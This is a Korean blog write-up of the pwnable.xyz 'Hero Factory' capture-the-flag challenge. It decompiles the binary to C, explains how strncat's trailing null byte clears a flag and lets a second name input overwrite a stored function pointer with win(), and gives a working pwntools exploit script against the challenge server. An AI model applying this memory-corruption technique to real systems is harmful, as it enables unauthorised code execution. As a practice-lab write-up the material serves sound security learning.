[pwnable.xyz] Hero Factory write up
글 작성자: Universe7202
pwnable.xyz 33번째 문제이다.
Analyze
해당 바이너리에서 사용자 정의 함수들을 보면 아래와 같다.
ubuntu:~/environment/ctf/pwnable.xyz/33_Hero Factory $ func challenge
__libc_csu_fini
__libc_csu_init
_fini
_init
_start
createHero
crossfit
deleteHero
floss
getInt
hadouken
handler
main
printFnc
printHero
printMenu
printSuperPowers
setup
usePower
win
wrestle
zeroHero
gdb로 바이너리를 분석하여 c코드로 나타내면 아래와 같다. (분석 환경이 gdb 밖에 없는 내 자신이 대단..)
void printMenu(){
puts("\nWelcome to the Hero Factory");
puts("==============================");
puts("1. create a superhero");
puts("2. use a superpower");
puts("3. destroy a superhero");
puts("4. exit");
printf("> ");
}
void printSuperPowers(){
printf("\nAvailable Superpowers\n===========\n1. hadouken\n2. crossfit\n3. wrestling\n4. flossing\n> ")
}
void printHero(){
puts("Your Hero: ");
puts("==============");
printf("name: %s\n", myHero+20);
printf("power: %s\n", myHero);
}
void hadouken(){
puts("HADDOUUUKKEENN!!!!");
}
void crossfit(){
puts("*kips*");
sleep(1);
puts("Yikes. Your grip slipped while doing a kipping pullup and you fell on your back and cracked your neck.");
exit(1);
}
void wrestle(){
puts("*grapples*");
sleep(1);
puts("I'm sorry, sir. You sprained your MCL while wrassling.");
exit(1);
}
void floss(){
puts("*flosses*");
sleep(1);
puts("0ops. You broke your hip while flossing.");
exit(1);
}
void printFnc(rdi){
puts("Note: ");
puts(rdi);
}
int getInt(){
read(0, rbp-0x20, 0xa);
return atoi(rbp-0x20);
}
void zeroHero(){
memset(myHero, 0, 0x14);
memset(myHero+20, 0, 0x64);
myHero+120 -= 1;
}
void createHero(){
int tmp_1 = 0; // rbp-0x7c
long tmp_2 = 0; // rbp-0x78
if(myHero+120){
puts("Br0, you already have a hero...");
return;
}
myHero+120++;
puts("How long do you want your superhero's name to be? ");
tmp_1 = getInt();
if(tmp_1 < 0 && tmp_1 > 0x64){
puts("Bad size!");
return;
}
printf("Great! Please enter your hero's name: ");
read(0, rbp-0x70, tmp_1);
char *p = strchr(myHero+20, 0);
strncat(*p, rbp-0x70, 0x64);
printSuperPowers();
int select = getInt();
if(select == 1){
myHero+128 = &hadouken();
myHero = 0x6e656b756f646168;
myHero+8 = 0;
}
else if(select == 2){
myHero+128 = &crossfit();
myHero = 0x74696673736f7263;
myHero+8 = 0;
}
else if(select == 3){
myHero+128 = &wrestle();
myHero = 0x6e696c7473657277;
myHero+8 = 0;
}
else if(select == 4){
myHero+128 = &floss();
myHero = 0x676e6973736f6c66;
myHero+8 = 0;
}
else{
puts("not a valid power!");
if(myHero+120)
zeroHero();
return;
}
puts("Superhero successfully created!");
return;
}
void usePower(){
if(myHero+120){
puts("Your hero uses his ability...");
(myHero+128)();
}
else
puts("You don't even have a hero right now....");
}
void deleteHero(){
if(myHero+120){
printHero();
printf("\nAre you sure you want to destroy your hero? (y/n) ");
char select = getchar();
if(select == 'y' && select == 'Y'){
zeroHero();
puts("Hero successfully destroyed!");
}
else
puts("Stop wasting my time.");
}
}
int main(){
int select = getInt();
if(select == 1)
createHero();
else if(select == 2)
usePower();
else if(select == 3)
deleteHero();
else if(select == 4){
puts("goodbye!");
exit(1);
}
else
puts("not a valid command!\n");
}
myHero 라는 변수가 존재하는데 이 변수의 메모리 구조는 아래와 같다.
노란색: 사용자가 입력 가능한 부분
파란색: (무시)
빨간색: 1 또는 0 값을 가짐 => Hero 등록 여부 확인용
초록색: 함수의 주소가 저장
createHero() 함수에서, 사용자는 0 부터 0x64까지 숫자를 입력해 이름을 입력할 수 있다.
입력한 문자는 스택에 저장되고 myHero+20 에 저장된다.
/* createHero() 일부분... */
myHero+120++;
puts("How long do you want your superhero's name to be? ");
tmp_1 = getInt();
if(tmp_1 < 0 && tmp_1 > 0x64){
puts("Bad size!");
return;
}
printf("Great! Please enter your hero's name: ");
read(0, rbp-0x70, tmp_1);
char *p = strchr(myHero+20, 0);
strncat(*p, rbp-0x70, 0x64);
위 코드에서 문제가 발생하게 되는데.
> myHero+120 에 1을 삽입
> 사용자가 0x64 만큼 이름을 입력
> strncat() 함수로 myHero에 이름이 입력 및 문자열 끝에 \x00 을 붙임.
> 이때 \x00 을 삽입하는 곳은 myHero+120.
> 따라서 myHero+120 = 0 이 되어, 추가적으로 더 입력을 할 수 있음.
> 즉, myHero+128 의 값을 변조 할 수 있음.
위 같은 시나리오로 myHero+128에 win() 함수의 주소를 넣은 뒤, 이를 호출 하면 된다.
Payload
from pwn import *
p = remote("svc.pwnable.xyz", "30032")
win = 0x400a33
p.sendlineafter("> ", "1")
p.sendlineafter("be?", "100")
p.sendafter("name: ", "A"*100)
p.sendlineafter("> ", "1")
p.sendlineafter("> ", "1")
p.sendlineafter("be?", "100")
p.sendafter("name: ", "A"*7 + p64(win))
p.sendlineafter("> ", "5")
p.sendlineafter("> ", "2")
p.interactive()
'🚩CTF' 카테고리의 다른 글
[pwnable.xyz] - dirty tultle write up (0) | 2020.04.15 |
---|---|
[pwnable.xyz] badayum write up (0) | 2020.03.10 |
[zer0pts 2020 CTF] - notepad write up (0) | 2020.03.09 |
[zer0pts 2020 CTF] - Can you guess it? write up (0) | 2020.03.09 |
[zer0pts 2020 CTF] hipwn write up (0) | 2020.03.09 |
댓글
이 글 공유하기
다른 글
-
[pwnable.xyz] - dirty tultle write up
[pwnable.xyz] - dirty tultle write up
2020.04.15 -
[pwnable.xyz] badayum write up
[pwnable.xyz] badayum write up
2020.03.10 -
[zer0pts 2020 CTF] - notepad write up
[zer0pts 2020 CTF] - notepad write up
2020.03.09 -
[zer0pts 2020 CTF] - Can you guess it? write up
[zer0pts 2020 CTF] - Can you guess it? write up
2020.03.09